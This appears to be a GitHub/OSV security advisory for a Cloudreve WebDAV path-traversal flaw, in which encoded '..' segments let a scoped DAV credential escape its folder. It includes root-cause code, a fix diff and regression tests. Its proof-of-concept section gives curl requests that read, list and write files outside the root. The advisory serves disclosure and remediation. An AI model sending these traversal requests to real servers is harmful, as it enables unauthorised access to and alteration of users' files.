Vulnerabilities in pkg:golang/github.com/cloudreve/Cloudreve/v3

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w5fv-7x5q-g8qp",
  "modified" : "2026-08-26T15:22:12Z",
  "published" : "2026-08-26T15:22:12Z",
  "aliases" : [ "CVE-2026-54563" ],
  "summary" : "Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control — scoped DAV credential escapes its configured account root",
  "details" : "## Summary\n\nA Cloudreve WebDAV account stores a `uri` that defines the account's root folder. The WebDAV request handler (`stripPrefix` in `pkg/webdav/webdav.go`) trims the `/dav` prefix from the request path and joins the remainder to that root with `fs.URI.JoinRaw`, but never checks that the joined URI stays inside the root.\n\nGo's `net/http` decodes `%2e%2e` to `..` and `%2f` to `/` in `r.URL.Path` before the handler sees it, and `JoinRaw` resolves `..` segments through the standard library's `url.URL.JoinPath`. A request such as `GET /dav/%2e%2e/outside.txt` against a credential rooted at `cloudreve://my/restricted` therefore resolves to `cloudreve://my/outside.txt`. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.\n\nThe escape stays inside the same Cloudreve user's namespace because downstream DBFS owner checks still apply. It does not cross into another user's files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary — the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).\n\n## Technical Detail\n\n### Root cause\n\n`stripPrefix` joins the request suffix onto the account base with no containment check:\n\n```go\n// pkg/webdav/webdav.go @ 54dc81d\nfunc stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {\n\tbase, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)\n\tif err != nil {\n\t\treturn \"\", nil, http.StatusInternalServerError, err\n\t}\n\n\tprefix := davPrefix // \"/dav\"\n\tif r := strings.TrimPrefix(p, prefix); len(r) < len(p) {\n\t\tr = strings.TrimPrefix(r, fs.Separator)\n\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // <-- join, no boundary check\n\t}\n\treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n}\n```\n\n`JoinRaw` splits on `/` and delegates to the standard library:\n\n```go\n// pkg/filemanager/fs/uri.go @ 54dc81d\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n\nfunc (u *URI) Join(elem ...string) *URI {\n\tnewUrl, _ := url.Parse(u.U.String())\n\treturn &URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {\n\t\treturn PathEscape(s)\n\t})...)}\n}\n```\n\n`PathEscape` leaves a `.` untouched (`shouldEscape` returns `false` for `.`), so the literal segment `..` survives into `url.URL.JoinPath`, which cleans the path and resolves the parent reference.\n\n\n## Proof of Concept\n\nThe full server was not run from the checkout (the embedded frontend asset `assets.zip` is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.\n\n### Layer 1 — `net/http` hands the handler a decoded, *uncleaned* path\n\nA standard-library HTTP server, hit over a real socket with raw request targets (equivalent to `curl --path-as-is`), shows what `c.Request.URL.Path` holds inside the handler:\n\n```\nREQUEST: GET /dav/%2e%2e/outside.txt\n  handler observed: URL.Path=\"/dav/../outside.txt\"   RawPath=\"/dav/%2e%2e/outside.txt\"   -> 200\nREQUEST: PROPFIND /dav/%2e%2e/\n  handler observed: URL.Path=\"/dav/../\"              RawPath=\"/dav/%2e%2e/\"               -> 200\nREQUEST: PUT /dav/%2e%2e/created-outside.txt\n  handler observed: URL.Path=\"/dav/../created-outside.txt\"                                 -> 200\nREQUEST: GET /dav/%2F..%2Foutside.txt\n  handler observed: URL.Path=\"/dav//../outside.txt\"  RawPath=\"/dav/%2F..%2Foutside.txt\"   -> 200\n```\n\nThe path is decoded but never cleaned. Gin does not rewrite `Request.URL.Path`, so the Cloudreve handler observes the same value.\n\n### Layer 2 — Cloudreve's URI resolution escapes the root\n\nRe-running Cloudreve's exact `PathEscape` / `shouldEscape` / `Join` / `JoinRaw` / `NewUriFromString` code (copied verbatim from `uri.go @ 54dc81d`) against the real `net/url` library, with base `cloudreve://my/restricted`:\n\n```\ntraversal %2e%2e        URL.Path=/dav/../outside.txt     suffix=\"../outside.txt\"     => cloudreve://my/outside.txt\ntraversal %2F..%2F      URL.Path=/dav//../outside.txt    suffix=\"/../outside.txt\"    => cloudreve://my/outside.txt\nbenign nested           URL.Path=/dav/sub/normal.txt     suffix=\"sub/normal.txt\"     => cloudreve://my/restricted/sub/normal.txt\ndouble-encoded (ctrl)   URL.Path=/dav/%2e%2e/outside.txt suffix=\"%2e%2e/outside.txt\" => cloudreve://my/restricted/%252e%252e/outside.txt\ndeep traversal          URL.Path=/dav/../../etc.txt      suffix=\"../../etc.txt\"      => cloudreve://my/etc.txt\n```\n\nThe traversal variants land outside `restricted`; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the `my` root (host stays `my`, confirming the same-owner ceiling).\n\n### Live request shapes (against a deployed instance)\n\n```bash\n# Read outside the DAV root (works for read-only credentials too)\ncurl --path-as-is -i -u 'victim@example.com:DAV_PASSWORD' \\\n  'https://cloudreve.example/dav/%2e%2e/outside.txt'\n\n# List outside the DAV root\ncurl --path-as-is -i -X PROPFIND -H 'Depth: 1' \\\n  -u 'victim@example.com:DAV_PASSWORD' \\\n  'https://cloudreve.example/dav/%2e%2e/'\n\n# Write outside the DAV root (writable credentials)\nprintf 'created outside DAV root\\n' | curl --path-as-is -i -X PUT \\\n  -u 'victim@example.com:DAV_PASSWORD' --data-binary @- \\\n  'https://cloudreve.example/dav/%2e%2e/created-outside.txt'\n```\n\n## Impact\n\n- **Read-only scoped credential**: read and list any file in the owner's namespace, outside the folder the credential was scoped to.\n- **Writable scoped credential**: additionally create, overwrite, move, and delete those files.\n\nIn normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner's whole `my` filesystem.\n\n## Suggested Fix\n\n`fs.URI` already ships the predicate needed (`EqualOrIsDescendantOf`), so the fix is small:\n\n```diff\n \tprefix := davPrefix\n \tif r := strings.TrimPrefix(p, prefix); len(r) < len(p) {\n \t\tr = strings.TrimPrefix(r, fs.Separator)\n-\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil\n+\t\tcandidate := base.JoinRaw(util.RemoveSlash(r))\n+\t\tif !candidate.EqualOrIsDescendantOf(base, \"\") {\n+\t\t\treturn \"\", nil, http.StatusForbidden, errPrefixMismatch\n+\t\t}\n+\t\treturn r, candidate, http.StatusOK, nil\n \t}\n \treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n```\n\nRegression tests worth adding:\n\n- `/dav/%2e%2e/outside.txt` from base `cloudreve://my/restricted` → rejected\n- `/dav/%2F..%2Foutside.txt` from base `cloudreve://my/restricted` → rejected\n- `COPY`/`MOVE` with `Destination: https://host/dav/%2e%2e/outside.txt` → rejected\n- `/dav/sub/normal.txt` → still resolves under the account root",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.0-20260606032813-26b6b1044b02"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.0.0-20250225100611-da4e44b77af4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w5fv-7x5q-g8qp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54563"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cloudreve/cloudreve"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-26T15:22:12Z",
    "nvd_published_at" : "2026-07-15T15:16:45Z"
  }
}